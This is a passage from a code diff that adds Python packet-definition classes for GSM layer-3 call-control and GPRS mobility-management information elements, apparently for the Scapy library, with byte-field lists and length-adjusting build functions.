+        return p + pay
+
+
+# length 2 to 23
+class RedirectingPartySubaddressHdr(Packet):
+    """Redirecting party subaddress  Section 10.5.4.21c"""
+    name = "Redirecting Party BCD Number"
+    fields_desc = [
+             BitField("eightBitRPS", None, 1),
+             XBitField("ieiRPS", None, 7),
+
+             XByteField("lengthRPS", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("typeSub", None, 3),
+             BitField("oddEven", None, 1),
+             BitField("spare", None, 3),
+
+             ByteField("subInfo0", None),
+             ByteField("subInfo1", None),
+             ByteField("subInfo2", None),
+             ByteField("subInfo3", None),
+             ByteField("subInfo4", None),
+             ByteField("subInfo5", None),
+             ByteField("subInfo6", None),
+             ByteField("subInfo7", None),
+             ByteField("subInfo8", None),
+             ByteField("subInfo9", None),
+             ByteField("subInfo10", None),
+             ByteField("subInfo11", None),
+             ByteField("subInfo12", None),
+             ByteField("subInfo13", None),
+             ByteField("subInfo14", None),
+             ByteField("subInfo15", None),
+             ByteField("subInfo16", None),
+             ByteField("subInfo17", None),
+             ByteField("subInfo18", None),
+             ByteField("subInfo19", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 23, a, self.fields_desc)
+        if self.lengthRPS is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class RepeatIndicatorHdr(Packet):
+    """Repeat indicator Section 10.5.4.22"""
+    name = "Repeat Indicator"
+    fields_desc = [
+             XBitField("ieiRI", None, 4),
+             BitField("repeatIndic", 0x0, 4)
+             ]
+
+
+class ReverseCallSetupDirectionHdr(Packet):
+    """Reverse call setup direction Section 10.5.4.22a"""
+    name = "Reverse Call Setup Direction"
+    fields_desc = [
+             ByteField("ieiRCSD", 0x0)
+             ]
+
+
+# no upper length min 2(max for L3) (251)
+class SetupContainerHdr(Packet):
+    """SETUP Container $(CCBS)$ Section 10.5.4.22b"""
+    name = "Setup Container $(CCBS)$"
+    fields_desc = [
+             BitField("eightBitSC", None, 1),
+             XBitField("ieiSC", None, 7),
+             XByteField("lengthSC", None),
+             # optional
+             ByteField("mess1", None),
+             ByteField("mess2", None),
+             ByteField("mess3", None),
+             ByteField("mess4", None),
+             ByteField("mess5", None),
+             ByteField("mess6", None),
+             ByteField("mess7", None),
+             ByteField("mess8", None),
+             ByteField("mess9", None),
+             ByteField("mess10", None),
+             ByteField("mess11", None),
+             ByteField("mess12", None),
+             ByteField("mess13", None),
+             ByteField("mess14", None),
+             ByteField("mess15", None),
+             ByteField("mess16", None),
+             ByteField("mess17", None),
+             ByteField("mess18", None),
+             ByteField("mess19", None),
+             ByteField("mess20", None),
+             ByteField("mess21", None),
+             ByteField("mess22", None),
+             ByteField("mess23", None),
+             ByteField("mess24", None),
+             ByteField("mess25", None),
+             ByteField("mess26", None),
+             ByteField("mess27", None),
+             ByteField("mess28", None),
+             ByteField("mess29", None),
+             ByteField("mess30", None),
+             ByteField("mess31", None),
+             ByteField("mess32", None),
+             ByteField("mess33", None),
+             ByteField("mess34", None),
+             ByteField("mess35", None),
+             ByteField("mess36", None),
+             ByteField("mess37", None),
+             ByteField("mess38", None),
+             ByteField("mess39", None),
+             ByteField("mess40", None),
+             ByteField("mess41", None),
+             ByteField("mess42", None),
+             ByteField("mess43", None),
+             ByteField("mess44", None),
+             ByteField("mess45", None),
+             ByteField("mess46", None),
+             ByteField("mess47", None),
+             ByteField("mess48", None),
+             ByteField("mess49", None),
+             ByteField("mess50", None),
+             ByteField("mess51", None),
+             ByteField("mess52", None),
+             ByteField("mess53", None),
+             ByteField("mess54", None),
+             ByteField("mess55", None),
+             ByteField("mess56", None),
+             ByteField("mess57", None),
+             ByteField("mess58", None),
+             ByteField("mess59", None),
+             ByteField("mess60", None),
+             ByteField("mess61", None),
+             ByteField("mess62", None),
+             ByteField("mess63", None),
+             ByteField("mess64", None),
+             ByteField("mess65", None),
+             ByteField("mess66", None),
+             ByteField("mess67", None),
+             ByteField("mess68", None),
+             ByteField("mess69", None),
+             ByteField("mess70", None),
+             ByteField("mess71", None),
+             ByteField("mess72", None),
+             ByteField("mess73", None),
+             ByteField("mess74", None),
+             ByteField("mess75", None),
+             ByteField("mess76", None),
+             ByteField("mess77", None),
+             ByteField("mess78", None),
+             ByteField("mess79", None),
+             ByteField("mess80", None),
+             ByteField("mess81", None),
+             ByteField("mess82", None),
+             ByteField("mess83", None),
+             ByteField("mess84", None),
+             ByteField("mess85", None),
+             ByteField("mess86", None),
+             ByteField("mess87", None),
+             ByteField("mess88", None),
+             ByteField("mess89", None),
+             ByteField("mess90", None),
+             ByteField("mess91", None),
+             ByteField("mess92", None),
+             ByteField("mess93", None),
+             ByteField("mess94", None),
+             ByteField("mess95", None),
+             ByteField("mess96", None),
+             ByteField("mess97", None),
+             ByteField("mess98", None),
+             ByteField("mess99", None),
+             ByteField("mess100", None),
+             ByteField("mess101", None),
+             ByteField("mess102", None),
+             ByteField("mess103", None),
+             ByteField("mess104", None),
+             ByteField("mess105", None),
+             ByteField("mess106", None),
+             ByteField("mess107", None),
+             ByteField("mess108", None),
+             ByteField("mess109", None),
+             ByteField("mess110", None),
+             ByteField("mess111", None),
+             ByteField("mess112", None),
+             ByteField("mess113", None),
+             ByteField("mess114", None),
+             ByteField("mess115", None),
+             ByteField("mess116", None),
+             ByteField("mess117", None),
+             ByteField("mess118", None),
+             ByteField("mess119", None),
+             ByteField("mess120", None),
+             ByteField("mess121", None),
+             ByteField("mess122", None),
+             ByteField("mess123", None),
+             ByteField("mess124", None),
+             ByteField("mess125", None),
+             ByteField("mess126", None),
+             ByteField("mess127", None),
+             ByteField("mess128", None),
+             ByteField("mess129", None),
+             ByteField("mess130", None),
+             ByteField("mess131", None),
+             ByteField("mess132", None),
+             ByteField("mess133", None),
+             ByteField("mess134", None),
+             ByteField("mess135", None),
+             ByteField("mess136", None),
+             ByteField("mess137", None),
+             ByteField("mess138", None),
+             ByteField("mess139", None),
+             ByteField("mess140", None),
+             ByteField("mess141", None),
+             ByteField("mess142", None),
+             ByteField("mess143", None),
+             ByteField("mess144", None),
+             ByteField("mess145", None),
+             ByteField("mess146", None),
+             ByteField("mess147", None),
+             ByteField("mess148", None),
+             ByteField("mess149", None),
+             ByteField("mess150", None),
+             ByteField("mess151", None),
+             ByteField("mess152", None),
+             ByteField("mess153", None),
+             ByteField("mess154", None),
+             ByteField("mess155", None),
+             ByteField("mess156", None),
+             ByteField("mess157", None),
+             ByteField("mess158", None),
+             ByteField("mess159", None),
+             ByteField("mess160", None),
+             ByteField("mess161", None),
+             ByteField("mess162", None),
+             ByteField("mess163", None),
+             ByteField("mess164", None),
+             ByteField("mess165", None),
+             ByteField("mess166", None),
+             ByteField("mess167", None),
+             ByteField("mess168", None),
+             ByteField("mess169", None),
+             ByteField("mess170", None),
+             ByteField("mess171", None),
+             ByteField("mess172", None),
+             ByteField("mess173", None),
+             ByteField("mess174", None),
+             ByteField("mess175", None),
+             ByteField("mess176", None),
+             ByteField("mess177", None),
+             ByteField("mess178", None),
+             ByteField("mess179", None),
+             ByteField("mess180", None),
+             ByteField("mess181", None),
+             ByteField("mess182", None),
+             ByteField("mess183", None),
+             ByteField("mess184", None),
+             ByteField("mess185", None),
+             ByteField("mess186", None),
+             ByteField("mess187", None),
+             ByteField("mess188", None),
+             ByteField("mess189", None),
+             ByteField("mess190", None),
+             ByteField("mess191", None),
+             ByteField("mess192", None),
+             ByteField("mess193", None),
+             ByteField("mess194", None),
+             ByteField("mess195", None),
+             ByteField("mess196", None),
+             ByteField("mess197", None),
+             ByteField("mess198", None),
+             ByteField("mess199", None),
+             ByteField("mess200", None),
+             ByteField("mess201", None),
+             ByteField("mess202", None),
+             ByteField("mess203", None),
+             ByteField("mess204", None),
+             ByteField("mess205", None),
+             ByteField("mess206", None),
+             ByteField("mess207", None),
+             ByteField("mess208", None),
+             ByteField("mess209", None),
+             ByteField("mess210", None),
+             ByteField("mess211", None),
+             ByteField("mess212", None),
+             ByteField("mess213", None),
+             ByteField("mess214", None),
+             ByteField("mess215", None),
+             ByteField("mess216", None),
+             ByteField("mess217", None),
+             ByteField("mess218", None),
+             ByteField("mess219", None),
+             ByteField("mess220", None),
+             ByteField("mess221", None),
+             ByteField("mess222", None),
+             ByteField("mess223", None),
+             ByteField("mess224", None),
+             ByteField("mess225", None),
+             ByteField("mess226", None),
+             ByteField("mess227", None),
+             ByteField("mess228", None),
+             ByteField("mess229", None),
+             ByteField("mess230", None),
+             ByteField("mess231", None),
+             ByteField("mess232", None),
+             ByteField("mess233", None),
+             ByteField("mess234", None),
+             ByteField("mess235", None),
+             ByteField("mess236", None),
+             ByteField("mess237", None),
+             ByteField("mess238", None),
+             ByteField("mess239", None),
+             ByteField("mess240", None),
+             ByteField("mess241", None),
+             ByteField("mess242", None),
+             ByteField("mess243", None),
+             ByteField("mess244", None),
+             ByteField("mess245", None),
+             ByteField("mess246", None),
+             ByteField("mess247", None),
+             ByteField("mess248", None),
+             ByteField("mess249", None),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 251, a, self.fields_desc)
+        if self.lengthSC is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class SignalHdr(Packet):
+    """Signal Section 10.5.4.23"""
+    name = "Signal"
+    fields_desc = [
+             BitField("eightBitS", None, 1),
+             XBitField("ieiS", None, 7),
+             ByteField("sigValue", 0x0)
+             ]
+
+
+# length 2 to max for L3 message (251)
+class SsVersionIndicatorHdr(Packet):
+    """SS Version Indicator  Section 10.5.4.24"""
+    name = "SS Version Indicator"
+    fields_desc = [
+             BitField("eightBitSVI", None, 1),
+             XBitField("ieiSVI", None, 7),
+             XByteField("lengthSVI", None),
+             # optional
+             ByteField("info1", None),
+             ByteField("info2", None),
+             ByteField("info3", None),
+             ByteField("info4", None),
+             ByteField("info5", None),
+             ByteField("info6", None),
+             ByteField("info7", None),
+             ByteField("info8", None),
+             ByteField("info9", None),
+             ByteField("info10", None),
+             ByteField("info11", None),
+             ByteField("info12", None),
+             ByteField("info13", None),
+             ByteField("info14", None),
+             ByteField("info15", None),
+             ByteField("info16", None),
+             ByteField("info17", None),
+             ByteField("info18", None),
+             ByteField("info19", None),
+             ByteField("info20", None),
+             ByteField("info21", None),
+             ByteField("info22", None),
+             ByteField("info23", None),
+             ByteField("info24", None),
+             ByteField("info25", None),
+             ByteField("info26", None),
+             ByteField("info27", None),
+             ByteField("info28", None),
+             ByteField("info29", None),
+             ByteField("info30", None),
+             ByteField("info31", None),
+             ByteField("info32", None),
+             ByteField("info33", None),
+             ByteField("info34", None),
+             ByteField("info35", None),
+             ByteField("info36", None),
+             ByteField("info37", None),
+             ByteField("info38", None),
+             ByteField("info39", None),
+             ByteField("info40", None),
+             ByteField("info41", None),
+             ByteField("info42", None),
+             ByteField("info43", None),
+             ByteField("info44", None),
+             ByteField("info45", None),
+             ByteField("info46", None),
+             ByteField("info47", None),
+             ByteField("info48", None),
+             ByteField("info49", None),
+             ByteField("info50", None),
+             ByteField("info51", None),
+             ByteField("info52", None),
+             ByteField("info53", None),
+             ByteField("info54", None),
+             ByteField("info55", None),
+             ByteField("info56", None),
+             ByteField("info57", None),
+             ByteField("info58", None),
+             ByteField("info59", None),
+             ByteField("info60", None),
+             ByteField("info61", None),
+             ByteField("info62", None),
+             ByteField("info63", None),
+             ByteField("info64", None),
+             ByteField("info65", None),
+             ByteField("info66", None),
+             ByteField("info67", None),
+             ByteField("info68", None),
+             ByteField("info69", None),
+             ByteField("info70", None),
+             ByteField("info71", None),
+             ByteField("info72", None),
+             ByteField("info73", None),
+             ByteField("info74", None),
+             ByteField("info75", None),
+             ByteField("info76", None),
+             ByteField("info77", None),
+             ByteField("info78", None),
+             ByteField("info79", None),
+             ByteField("info80", None),
+             ByteField("info81", None),
+             ByteField("info82", None),
+             ByteField("info83", None),
+             ByteField("info84", None),
+             ByteField("info85", None),
+             ByteField("info86", None),
+             ByteField("info87", None),
+             ByteField("info88", None),
+             ByteField("info89", None),
+             ByteField("info90", None),
+             ByteField("info91", None),
+             ByteField("info92", None),
+             ByteField("info93", None),
+             ByteField("info94", None),
+             ByteField("info95", None),
+             ByteField("info96", None),
+             ByteField("info97", None),
+             ByteField("info98", None),
+             ByteField("info99", None),
+             ByteField("info100", None),
+             ByteField("info101", None),
+             ByteField("info102", None),
+             ByteField("info103", None),
+             ByteField("info104", None),
+             ByteField("info105", None),
+             ByteField("info106", None),
+             ByteField("info107", None),
+             ByteField("info108", None),
+             ByteField("info109", None),
+             ByteField("info110", None),
+             ByteField("info111", None),
+             ByteField("info112", None),
+             ByteField("info113", None),
+             ByteField("info114", None),
+             ByteField("info115", None),
+             ByteField("info116", None),
+             ByteField("info117", None),
+             ByteField("info118", None),
+             ByteField("info119", None),
+             ByteField("info120", None),
+             ByteField("info121", None),
+             ByteField("info122", None),
+             ByteField("info123", None),
+             ByteField("info124", None),
+             ByteField("info125", None),
+             ByteField("info126", None),
+             ByteField("info127", None),
+             ByteField("info128", None),
+             ByteField("info129", None),
+             ByteField("info130", None),
+             ByteField("info131", None),
+             ByteField("info132", None),
+             ByteField("info133", None),
+             ByteField("info134", None),
+             ByteField("info135", None),
+             ByteField("info136", None),
+             ByteField("info137", None),
+             ByteField("info138", None),
+             ByteField("info139", None),
+             ByteField("info140", None),
+             ByteField("info141", None),
+             ByteField("info142", None),
+             ByteField("info143", None),
+             ByteField("info144", None),
+             ByteField("info145", None),
+             ByteField("info146", None),
+             ByteField("info147", None),
+             ByteField("info148", None),
+             ByteField("info149", None),
+             ByteField("info150", None),
+             ByteField("info151", None),
+             ByteField("info152", None),
+             ByteField("info153", None),
+             ByteField("info154", None),
+             ByteField("info155", None),
+             ByteField("info156", None),
+             ByteField("info157", None),
+             ByteField("info158", None),
+             ByteField("info159", None),
+             ByteField("info160", None),
+             ByteField("info161", None),
+             ByteField("info162", None),
+             ByteField("info163", None),
+             ByteField("info164", None),
+             ByteField("info165", None),
+             ByteField("info166", None),
+             ByteField("info167", None),
+             ByteField("info168", None),
+             ByteField("info169", None),
+             ByteField("info170", None),
+             ByteField("info171", None),
+             ByteField("info172", None),
+             ByteField("info173", None),
+             ByteField("info174", None),
+             ByteField("info175", None),
+             ByteField("info176", None),
+             ByteField("info177", None),
+             ByteField("info178", None),
+             ByteField("info179", None),
+             ByteField("info180", None),
+             ByteField("info181", None),
+             ByteField("info182", None),
+             ByteField("info183", None),
+             ByteField("info184", None),
+             ByteField("info185", None),
+             ByteField("info186", None),
+             ByteField("info187", None),
+             ByteField("info188", None),
+             ByteField("info189", None),
+             ByteField("info190", None),
+             ByteField("info191", None),
+             ByteField("info192", None),
+             ByteField("info193", None),
+             ByteField("info194", None),
+             ByteField("info195", None),
+             ByteField("info196", None),
+             ByteField("info197", None),
+             ByteField("info198", None),
+             ByteField("info199", None),
+             ByteField("info200", None),
+             ByteField("info201", None),
+             ByteField("info202", None),
+             ByteField("info203", None),
+             ByteField("info204", None),
+             ByteField("info205", None),
+             ByteField("info206", None),
+             ByteField("info207", None),
+             ByteField("info208", None),
+             ByteField("info209", None),
+             ByteField("info210", None),
+             ByteField("info211", None),
+             ByteField("info212", None),
+             ByteField("info213", None),
+             ByteField("info214", None),
+             ByteField("info215", None),
+             ByteField("info216", None),
+             ByteField("info217", None),
+             ByteField("info218", None),
+             ByteField("info219", None),
+             ByteField("info220", None),
+             ByteField("info221", None),
+             ByteField("info222", None),
+             ByteField("info223", None),
+             ByteField("info224", None),
+             ByteField("info225", None),
+             ByteField("info226", None),
+             ByteField("info227", None),
+             ByteField("info228", None),
+             ByteField("info229", None),
+             ByteField("info230", None),
+             ByteField("info231", None),
+             ByteField("info232", None),
+             ByteField("info233", None),
+             ByteField("info234", None),
+             ByteField("info235", None),
+             ByteField("info236", None),
+             ByteField("info237", None),
+             ByteField("info238", None),
+             ByteField("info239", None),
+             ByteField("info240", None),
+             ByteField("info241", None),
+             ByteField("info242", None),
+             ByteField("info243", None),
+             ByteField("info244", None),
+             ByteField("info245", None),
+             ByteField("info246", None),
+             ByteField("info247", None),
+             ByteField("info248", None),
+             ByteField("info249", None),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 251, a, self.fields_desc)
+        if self.lengthSVI is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# length 3 to 35 or 131
+class UserUserHdr(Packet):
+    """User-user Section 10.5.4.25"""
+    name = "User-User"
+    fields_desc = [
+             BitField("eightBitUU", None, 1),
+             XBitField("ieiUU", None, 7),
+
+             XByteField("lengthUU", None),  # dynamic length of field depending
+                                           # of the type of message
+                                           # let user decide which length he
+                                           # wants to take
+                                           # => more fuzzing options
+             ByteField("userUserPD", 0x0),
+             # optional
+             ByteField("userUserInfo1", None),
+             ByteField("userUserInfo2", None),
+             ByteField("userUserInfo3", None),
+             ByteField("userUserInfo4", None),
+             ByteField("userUserInfo5", None),
+             ByteField("userUserInfo6", None),
+             ByteField("userUserInfo7", None),
+             ByteField("userUserInfo8", None),
+             ByteField("userUserInfo9", None),
+             ByteField("userUserInfo10", None),
+             ByteField("userUserInfo11", None),
+             ByteField("userUserInfo12", None),
+             ByteField("userUserInfo13", None),
+             ByteField("userUserInfo14", None),
+             ByteField("userUserInfo15", None),
+             ByteField("userUserInfo16", None),
+             ByteField("userUserInfo17", None),
+             ByteField("userUserInfo18", None),
+             ByteField("userUserInfo19", None),
+             ByteField("userUserInfo20", None),
+             ByteField("userUserInfo21", None),
+             ByteField("userUserInfo22", None),
+             ByteField("userUserInfo23", None),
+             ByteField("userUserInfo24", None),
+             ByteField("userUserInfo25", None),
+             ByteField("userUserInfo26", None),
+             ByteField("userUserInfo27", None),
+             ByteField("userUserInfo28", None),
+             ByteField("userUserInfo29", None),
+             ByteField("userUserInfo30", None),
+             ByteField("userUserInfo31", None),
+             ByteField("userUserInfo32", None),
+             # long  packet
+             ByteField("userUserInfo33", None),
+             ByteField("userUserInfo34", None),
+             ByteField("userUserInfo35", None),
+             ByteField("userUserInfo36", None),
+             ByteField("userUserInfo37", None),
+             ByteField("userUserInfo38", None),
+             ByteField("userUserInfo39", None),
+             ByteField("userUserInfo40", None),
+             ByteField("userUserInfo41", None),
+             ByteField("userUserInfo42", None),
+             ByteField("userUserInfo43", None),
+             ByteField("userUserInfo44", None),
+             ByteField("userUserInfo45", None),
+             ByteField("userUserInfo46", None),
+             ByteField("userUserInfo47", None),
+             ByteField("userUserInfo48", None),
+             ByteField("userUserInfo49", None),
+             ByteField("userUserInfo50", None),
+             ByteField("userUserInfo51", None),
+             ByteField("userUserInfo52", None),
+             ByteField("userUserInfo53", None),
+             ByteField("userUserInfo54", None),
+             ByteField("userUserInfo55", None),
+             ByteField("userUserInfo56", None),
+             ByteField("userUserInfo57", None),
+             ByteField("userUserInfo58", None),
+             ByteField("userUserInfo59", None),
+             ByteField("userUserInfo60", None),
+             ByteField("userUserInfo61", None),
+             ByteField("userUserInfo62", None),
+             ByteField("userUserInfo63", None),
+             ByteField("userUserInfo64", None),
+             ByteField("userUserInfo65", None),
+             ByteField("userUserInfo66", None),
+             ByteField("userUserInfo67", None),
+             ByteField("userUserInfo68", None),
+             ByteField("userUserInfo69", None),
+             ByteField("userUserInfo70", None),
+             ByteField("userUserInfo71", None),
+             ByteField("userUserInfo72", None),
+             ByteField("userUserInfo73", None),
+             ByteField("userUserInfo74", None),
+             ByteField("userUserInfo75", None),
+             ByteField("userUserInfo76", None),
+             ByteField("userUserInfo77", None),
+             ByteField("userUserInfo78", None),
+             ByteField("userUserInfo79", None),
+             ByteField("userUserInfo80", None),
+             ByteField("userUserInfo81", None),
+             ByteField("userUserInfo82", None),
+             ByteField("userUserInfo83", None),
+             ByteField("userUserInfo84", None),
+             ByteField("userUserInfo85", None),
+             ByteField("userUserInfo86", None),
+             ByteField("userUserInfo87", None),
+             ByteField("userUserInfo88", None),
+             ByteField("userUserInfo89", None),
+             ByteField("userUserInfo90", None),
+             ByteField("userUserInfo91", None),
+             ByteField("userUserInfo92", None),
+             ByteField("userUserInfo93", None),
+             ByteField("userUserInfo94", None),
+             ByteField("userUserInfo95", None),
+             ByteField("userUserInfo96", None),
+             ByteField("userUserInfo97", None),
+             ByteField("userUserInfo98", None),
+             ByteField("userUserInfo99", None),
+             ByteField("userUserInfo100", None),
+             ByteField("userUserInfo101", None),
+             ByteField("userUserInfo102", None),
+             ByteField("userUserInfo103", None),
+             ByteField("userUserInfo104", None),
+             ByteField("userUserInfo105", None),
+             ByteField("userUserInfo106", None),
+             ByteField("userUserInfo107", None),
+             ByteField("userUserInfo108", None),
+             ByteField("userUserInfo109", None),
+             ByteField("userUserInfo110", None),
+             ByteField("userUserInfo111", None),
+             ByteField("userUserInfo112", None),
+             ByteField("userUserInfo113", None),
+             ByteField("userUserInfo114", None),
+             ByteField("userUserInfo115", None),
+             ByteField("userUserInfo116", None),
+             ByteField("userUserInfo117", None),
+             ByteField("userUserInfo118", None),
+             ByteField("userUserInfo119", None),
+             ByteField("userUserInfo120", None),
+             ByteField("userUserInfo121", None),
+             ByteField("userUserInfo122", None),
+             ByteField("userUserInfo123", None),
+             ByteField("userUserInfo124", None),
+             ByteField("userUserInfo125", None),
+             ByteField("userUserInfo126", None),
+             ByteField("userUserInfo127", None),
+             ByteField("userUserInfo128", None),
+             ByteField("userUserInfo129", None),
+             ByteField("userUserInfo130", None),
+             ByteField("userUserInfo131", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 131, a, self.fields_desc)
+        if self.lengthUU is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class AlertingPatternHdr(Packet):
+    """Alerting Pattern 10.5.4.26"""
+    name = "Alerting Pattern"
+    fields_desc = [
+             BitField("eightBitAP", None, 1),
+             XBitField("ieiAP", None, 7),
+             XByteField("lengthAP", 0x3),
+             BitField("spare", 0x0, 4),
+             BitField("alertingValue", 0x0, 4)
+             ]
+
+
+class AllowedActionsHdr(Packet):
+    """Allowed actions $(CCBS)$ Section 10.5.4.26"""
+    name = "Allowed Actions $(CCBS)$"
+    fields_desc = [
+             BitField("eightBitAA", None, 1),
+             XBitField("ieiAA", None, 7),
+             XByteField("lengthAP", 0x3),
+             BitField("CCBS", 0x0, 1),
+             BitField("spare", 0x0, 7)
+             ]
+
+
+#
+# 10.5.5 GPRS mobility management information elements
+#
+
+class AttachResult(Packet):
+    """Attach result Section 10.5.5.1"""
+    name = "Attach Result"
+    fields_desc = [
+             XBitField("ieiAR", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("result", 0x1, 3)
+             ]
+
+
+class AttachTypeHdr(Packet):
+    """Attach type Section 10.5.5.2"""
+    name = "Attach Type"
+    fields_desc = [
+             XBitField("ieiAT", None, 4),
+             BitField("spare", 0x0, 1),
+             BitField("type", 0x1, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class AttachTypeAndCiphKeySeqNr(Packet):
+    name = "Attach Type and Cipher Key Sequence Number"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("type", 0x1, 3),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+class CipheringAlgorithm(Packet):
+    """Ciphering algorithm Section 10.5.5.3"""
+    name = "Ciphering Algorithm"
+    fields_desc = [
+             XBitField("ieiCA", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("type", 0x1, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class CipheringAlgorithmAndImeisvRequest(Packet):
+    name = "Ciphering Algorithm and Imeisv Request"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("type", 0x1, 3),
+             BitField("spare", 0x0, 1),
+             BitField("imeisvVal", 0x0, 3)
+             ]
+
+
+# [Spare]
+class TmsiStatus(Packet):
+    """[Spare] TMSI status Section 10.5.5.4"""
+    name = "[Spare] TMSI Status"
+    fields_desc = [
+             XBitField("ieiTS", None, 4),
+             BitField("spare", 0x0, 3),
+             BitField("flag", 0x1, 1)
+             ]
+
+
+class DetachType(Packet):
+    """Detach type Section 10.5.5.5"""
+    name = "Detach Type"
+    fields_desc = [
+             XBitField("ieiDT", 0x0, 4),
+             BitField("poweroff", 0x0, 1),
+             BitField("type", 0x1, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class DetachTypeAndForceToStandby(Packet):
+    name = "Detach Type and Force To Standby"
+    fields_desc = [
+             BitField("poweroff", 0x0, 1),
+             BitField("type", 0x1, 3),
+             BitField("spare", 0x0, 1),
+             BitField("forceStandby", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class DetachTypeAndSpareHalfOctets(Packet):
+    name = "Detach Type and Spare Half Octets"
+    fields_desc = [
+             BitField("poweroff", 0x0, 1),
+             BitField("type", 0x1, 3),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+class DrxParameter(Packet):
+    """DRX parameter Section 10.5.5.6"""
+    name = "DRX Parameter"
+    fields_desc = [
+             ByteField("ieiDP", 0x0),
+             ByteField("splitPG", 0x0),
+             BitField("spare", 0x0, 4),
+             BitField("splitCCCH", 0x0, 1),
+             BitField("NonDrxTimer", 0x1, 3)
+             ]
+
+
+class ForceToStandby(Packet):
+    """Force to standby Section 10.5.5.7"""
+    name = "Force To Standby"
+    fields_desc = [
+             XBitField("ieiFTS", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("forceStandby", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class ForceToStandbyAndAcReferenceNumber(Packet):
+    name = "Force To Standby And Ac Reference Number"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("forceStandby", 0x0, 3),
+             BitField("acRefVal", 0x0, 4)
+             ]
+
+
+# Fix 1/2 len problem
+class ForceToStandbyAndUpdateResult(Packet):
+    name = "Force To Standby And Update Result"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("forceStandby", 0x0, 3),
+             BitField("spare", 0x0, 1),
+             BitField("updateResVal", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class ForceToStandbyAndSpareHalfOctets(Packet):
+    name = "Force To Standby And Spare Half Octets"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("forceStandby", 0x0, 3),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+class PTmsiSignature(Packet):
+    """P-TMSI signature Section 10.5.5.8"""
+    name = "P-TMSI Signature"
+    fields_desc = [
+             ByteField("ieiPTS", 0x0),
+             BitField("signature", 0x0, 24)
+             ]
+
+
+class IdentityType2(Packet):
+    """Identity type 2 Section 10.5.5.9"""
+    name = "Identity Type 2"
+    fields_desc = [
+             XBitField("ieiIT2", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("typeOfIdentity", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class IdentityType2AndforceToStandby(Packet):
+    name = "Identity Type 2 and Force to Standby"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("typeOfIdentity", 0x0, 3),
+             BitField("spare", 0x0, 1),
+             BitField("forceStandby", 0x0, 3)
+             ]
+
+
+class ImeisvRequest(Packet):
+    """IMEISV request Section 10.5.5.10"""
+    name = "IMEISV Request"
+    fields_desc = [
+             XBitField("ieiIR", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("imeisvVal", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class ImeisvRequestAndForceToStandby(Packet):
+    name = "IMEISV Request and Force To Standby"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("imeisvVal", 0x0, 3),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+# length 4 to 19
+class ReceiveNpduNumbersList(Packet):
+    """Receive N-PDU Numbers list Section 10.5.5.11"""
+    name = "Receive N-PDU Numbers list"
+    fields_desc = [
+             ByteField("ieiRNNL", 0x0),
+
+             XByteField("lengthRNNL", None),
+
+             BitField("nbList0", 0x0, 16),
+             # optional
+             ByteField("nbList1", None),
+             ByteField("nbList2", None),
+             ByteField("nbList3", None),
+             ByteField("nbList4", None),
+             ByteField("nbList5", None),
+             ByteField("nbList6", None),
+             ByteField("nbList7", None),
+             ByteField("nbList8", None),
+             ByteField("nbList9", None),
+             ByteField("nbList10", None),
+             ByteField("nbList11", None),
+             ByteField("nbList12", None),
+             ByteField("nbList13", None),
+             ByteField("nbList14", None),
+             ByteField("nbList15", None),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(4, 19, a, self.fields_desc)
+        if self.lengthRNNL is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class MsNetworkCapability(Packet):
+    """MS network capability Section 10.5.5.12"""
+    name = "MS Network Capability"
+    fields_desc = [
+             ByteField("ieiMNC", 0x0),
+             XByteField("lengthMNC", 0x3),
+             ByteField("msNetValue", 0x0)
+             ]
+
+
+# length 6 to 14
+class MsRadioAccessCapability(Packet):
+    """MS Radio Access capability Section 10.5.5.12a"""
+    name = "MS Radio Access Capability"
+    fields_desc = [
+             ByteField("ieiMRAC", 0x24),
+
+             XByteField("lengthMRAC", None),
+
+             BitField("spare1", 0x0, 1),  # ...
+
